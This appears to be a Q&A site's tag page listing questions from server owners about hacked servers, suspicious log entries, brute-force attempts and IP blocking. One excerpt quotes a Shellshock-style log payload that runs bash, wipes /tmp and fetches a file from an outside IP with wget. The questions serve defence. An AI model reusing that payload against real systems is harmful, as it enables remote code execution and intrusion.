Hacking is the violation of server or network security via exploitation of weaknesses in that security.

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Got hacked. Want to know how and protect the others similar setup instance [duplicate]

The website got hacked, would like to know how / possible approach the hacker did and how can i protect the server. This is the information of the hack: http://www.zone-h.org/mirror/id/23884086 The ...
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21 views

User agent string starting with “rm” - hacker? [duplicate]

I noticed this in my apache log: Referrer: () { :; }; /bin/bash -c \ User Agent (I've separated the cmds by ;): rm -rf /tmp/*; echo wget http://222.186.21.115:999/udso -O /tmp/China.Z-xtsu` ...
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1answer
31 views

Understanding Postfix Mail Log (Part II)

There are several logs like below in my Postfix mail log: Mar 9 06:01:10 postfix/smtpd[23043]: initializing the server-side TLS engine Mar 9 06:01:10 postfix/smtpd[23043]: connect from ...
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0answers
22 views

Website ftp details hacked by Alsancak Tim [duplicate]

My web files are hacked by Alsancak Tim. some ine is hacked ftp username and password. then going to delete all files and updated his own file. Now i am looking my website, it display a new ...
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2answers
63 views

Block people searching for server admin pages

Occasionally I flip through our (apache) access log and I often come across people trying to fish for admin pages. For example, they are trying to access pages like: /wp-login.php ...
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1answer
65 views

Understanding Postfix Mail Log

Recently I checked my mail log and found a lot of messages like this (some cipher text have been truncated): Feb 23 11:57:42 postfix/smtpd[32451]: initializing the server-side TLS engine Feb 23 ...
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1answer
59 views

how does one report an RDP attack to Microsoft when it's happening in real time?

To my surprise, Security Event 10 was for 104.43.193.6 which is apparently a Microsoft ip address: http://ip2location.com/demo/104.43.193.6 =. Microsoft Corporation. Likely AFAIK some has leased ...
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1answer
65 views

Decode array of encoded objects [duplicate]

I need some help from you.. my VPS was hacked.. I was trying to decode the files I found.. here the content of one php file, it's an array of encoded objects. Can you help me? ...
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31 views

Debian server hacked - root login on /dev/tty1 - therebel exploit [duplicate]

I have a test server running Debian Wheezy (Kernel 3.2.0-4-amd64) and OwnCloud 7. It is a virtual machine hosted on a Debian Wheezy kvm Server. It uses an own IP address configured via br0. I made ...
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1answer
245 views

hacking to my apache using cgi script

I newbie to web programming, so I setup an apache2 sever for my practice. It seems that someone succeeded to hack my apache server. I have notice in my access.log the following line: 81.169.174.52 - ...
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2answers
1k views

Continuous POST requests on wordpress login page - hacking attempt?

From today morning, I am witnessing a series of continuous POST requests hitting on one of blog running on wordpress software on my server. Few things about this pattern: These continuous requests ...
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1answer
100 views

MySQL Database Being Tampered Without Injection

My MySQL database has been getting hacked, and I cannot find the loophole. I have solid protection in PHP to prevent against injection and the hacker himself has communicated with me and says he is ...
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0answers
98 views

Is my site getting hacked (Bluehost)?

I'm running a simple website off of Bluehost, and I needed to use custom Python scripts so I created a cgi-bin folder in my site's directory and added my cgi python files there. Everytime I tried to ...
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0answers
45 views

Analyze logs after hack [duplicate]

I'm really new to log analysis.. And OVH contacted my society because one of our website has been hacked during the weekend. They told us that they used Asprox. So my boss told me to look into the ...
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1answer
144 views

ubuntu sudoers file hacked?

I've 3 ubuntu 14.04 vm on a remote hosting for code repository and testing purpose. I've got them for more than 1 year now. Two of them are working properly, but on one of them I can't run root ...
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1answer
162 views

How to prevent hackers from accessing my cPanel through a hostname instead of IP? [closed]

On my new dedicated server in which I have cPanel and WHM, I keep getting daily "large number of failed attempts to login from xxx" where xxx is an IP. So I blocked massive amounts of entire IP ...
3
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1answer
613 views

got weird email with server data. Does this mean I got hacked? [duplicate]

I just got the following "undelivered message" to my postmaster@mydomain.com Does this mean someone might have tried to (or succeeded in) hacking me? (I replaced certain parts in the below for ...
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1answer
62 views

Diagnosing heavy bandwidth usage

I run a couple of IIS web servers, one on win server 2008 R2, the other on 2003. Both fully patched and up to date, with AV. Running on a No NAT connection with 8 WAN IP's The 2003 machine seems to ...
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1answer
151 views

How do I know how the hacker gained access to my machine? [duplicate]

I own a dedicated machine and today I got an email from my host saying that my server will be blocked if I don't stop abusing the network. I am not a spammer or hacker. Someone was using my machine to ...
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2answers
117 views

Server compromised, how deep is the intrusion when PHP files are changed in folder without write permissions [duplicate]

I know there have been a lot of similar questions, but none of them covered this specific question: I found on almost all PHP files on a clients server script injections, it was actually the script ...
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2answers
289 views

Arp attack on my network

We have a small network of around 100 laptop/desktops and around 20 servers (sounds an overkill but these servers provide service for all our external contractors too) and we have recently noticed ...
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2answers
160 views

server hacked - cron continue to run [duplicate]

Someone accessed my EC2 Ubuntu 14.04 and installed some malicious cron to do port scanning with user eric. I removed user eric and the file executed, but in syslog I see Sep 19 15:27:01 ip-xxx ...
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1answer
233 views

I think my server was hacked - how do i know what has been changed? [duplicate]

I have read the following posts which didn't answered my questions: - My linux server was hacked. How do I find out how and when it was done? - How do I know if my Linux server has been hacked? - and ...
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1answer
34 views

Is it possible to mimic the client of a https web service

There is such a windows application that communications with the server through https protocol, it is an auction tool and works only several hours per month. I have captured network packets (by ...
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2answers
195 views

Constantly getting hacked (server 2008 R2) [closed]

A quick summary on the events from the last 2 weeks: We noticed that our SQL Server was becoming unreliably slow. This is a critical machine that's used by one of our local supercomputing groups to ...
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119 views

Auto black list hackers from Apache server that hit website too fast

I notice some hackers jumping from website to website iterating all possible IP addresses and hitting them so fast and hard with their attack URLs to get some flaws. I am more interested in how to ...
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1answer
748 views

Someone tried to hack my Node.js server, need to understand a GET request in the logs

Alright, so I left my Node.js server alone for a while and came back to find some really interesting stuff in the logs. Apparently some moron from China or Poland tried to hack my server using ...
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1answer
77 views

IIS 7.5 website application pool with 'full control' permissions hackable?

Although I would never set this permission, I would like to know how a static html website with the permission mentioned in the title could be compromised. In my humble opinion, I would guess that ...
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1answer
74 views

Taking database from possibly cracked server

I have a server which is behaving erratically. While I investigate if it's been hacked, I'm also thinking about my backup options: As many posts have said the only way to truly know you're clean is ...
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1answer
199 views

Attacks to my server? [closed]

I've a VPS running a website. I've a logwatch set in the server, and I've received several alerts like: A total of 2 sites probed the server 31.4.180.163 88.1.154.211 Requests ...
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1answer
112 views

Getting old website after hack (even using wget) - No proxies involved

Our server was hacked and several pages were replaced. We manage to clean up everything. Currently if you access the website from anywhere using any browser the website shows correct and clean. Only ...
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3answers
493 views

Blocking IP addresses of obvious hack attempts [duplicate]

I have a simple Apache webserver setup and basic IP tables (ufw) for a development server. In my logs I see lines like this: [Fri May 16 10:10:36.258369 2014] [:error] [pid 15926] [client ...
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1answer
491 views

Can I clean these two hacked servers withour reinstalling? [duplicate]

I've got two dedicated servers that some days ago started to send me notifications about unknown cron jobs running. On both servers I've got secondary accounts for my websites and the hacker has ...
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0answers
98 views

suspicious connection on server

OS: Windows Server 2003 Monitoring tool: CurrPorts When monitoring traffic on the server for traffic going out on port 80, example of results: 5/1/2014 2:36:23 PM Added cscript.exe TCP ...
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4answers
10k views

Block range of IP Addresses

I am getting bombarded with attempted hacks from China all with similar IPs. How would I block the IP range with something like 116.10.191.* etc. I am running Ubuntu Server 13.10. The current line ...
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1answer
107 views

Someone tried to access a list of hundreds of standard website urls in a go, is it a cause of concern [duplicate]

I was just checking my website logs today and found that someone accessed my website for a list of hundreds of standard urls that almost every 3rd or 4th website developed on a standard platform ...
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1answer
45 views

Two different SSID's on the same chanel. Is it safe?

If I have multiple network, that have their SSID's on the same channel, can I go into monitor mode(of the wifi interface) and capture packets of the other SSID?
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2answers
112 views

EC2 hosting, trying to understand network security model

We are hosting few virtual machines at amazon. Security groups and other configurations are set up to allow access only from desired addresses and to desired parties. The machines do talk with each ...
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0answers
113 views

How to secure tmp directory from hard link attacks when host doesn't allow partitioning

I'm a new sysadmin in the making, have learned that I need to have /tmp and /home directories on separate partitions in order to prevent possibilities of privilege escalation through hard links based ...
2
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0answers
111 views

What kind of hacking attempt is this? [closed]

This past week, my traffic logs are showing many hits (usually with repeated tries) for a url from perhaps 30+ different ip addresses all over the world. This is not a url that should garner more than ...
0
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1answer
122 views

Securing the Django web site which is run with Apache mod_wsgi

I have made a website in Django 1.6 with PostgreSQL database which is hosted on Ubuntu 12.04.3 with Apache 2.2.22 and I have recently noticed lots of hacking (probing) attempts from various IPs ...
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3answers
456 views

Is this a security breach?

I have a server running Ubuntu 10.04LTS (I know it is too old), which over the last couple of weeks has on occasion been unresponsive to network traffic, and needed a hard reset first thing in the ...
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4answers
548 views

Random IP's constantly trying to connect to SQL Server

We are building a cloud-based application that relies on a login database as well as many individual client databases. Using rackspace we have setup a server (windows server 2012) with SQL Management ...
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1answer
1k views

Do cPHulk Brute Force Protection Settings Effect Hosts? [closed]

Question: Do my settings (shown below) prevent visitors from getting to any of the public web sites on my server if their ISP's IP Address has been blocked/black-listed through cPHulk Brute Force ...
27
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7answers
5k views

How can I block hacking attempts targeting phpMyAdmin?

My website gets thousands of hits daily from different IPs trying to access: /php-myadmin/ /myadmin/ /mysql/ ...and thousands of other variations. None of these directories exist, I don't even have ...
4
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3answers
954 views

VPS exploited for Bitcoin Mining. How to identify the flaw?

An ubuntu VPS I run to host a few basic websites seems to have had apache hacked for bitcoin mining. In my apache error.log I see the following. [Sun Dec 15 06:27:58 2013] [notice] Apache/2.2.22 ...
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1answer
49 views

“GET /assets/)!==t&&(e.html(e.data( HTTP/1.1” 200 3538 “-” “Java/1.7.0_25”

I'm seeing GET requests like: "GET /assets/)!==t&&(e.html(e.data( HTTP/1.1" 200 3538 "-" "Java/1.7.0_25" in my logs for a box hosting a Rails app. Looks suspiciously like someone probing ...
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2answers
67 views

login page permission has changed suspiciously [duplicate]

I have developed a website with php and apache server on linux centos I am not professional on security issues and I think some folks try to hack my website first please advice me which security ...
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3answers
285 views

Check IP who is visiting my site on nginx

I don't really want to know about this since I would like to keep it really private and give my visitor their privacy as much as possible (Not that my blog is popular though). I just installed Ubuntu ...
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1answer
305 views

My URL has been identified as a phishing site [duplicate]

Some months before ordered VPS at Ramnode According to tutorial (ZPanelCP on CentOS 6.4) http://www.zvps.co.uk/zpanelcp/centos-6 Installed CentOS and ZPanel) Today received email We are requesting ...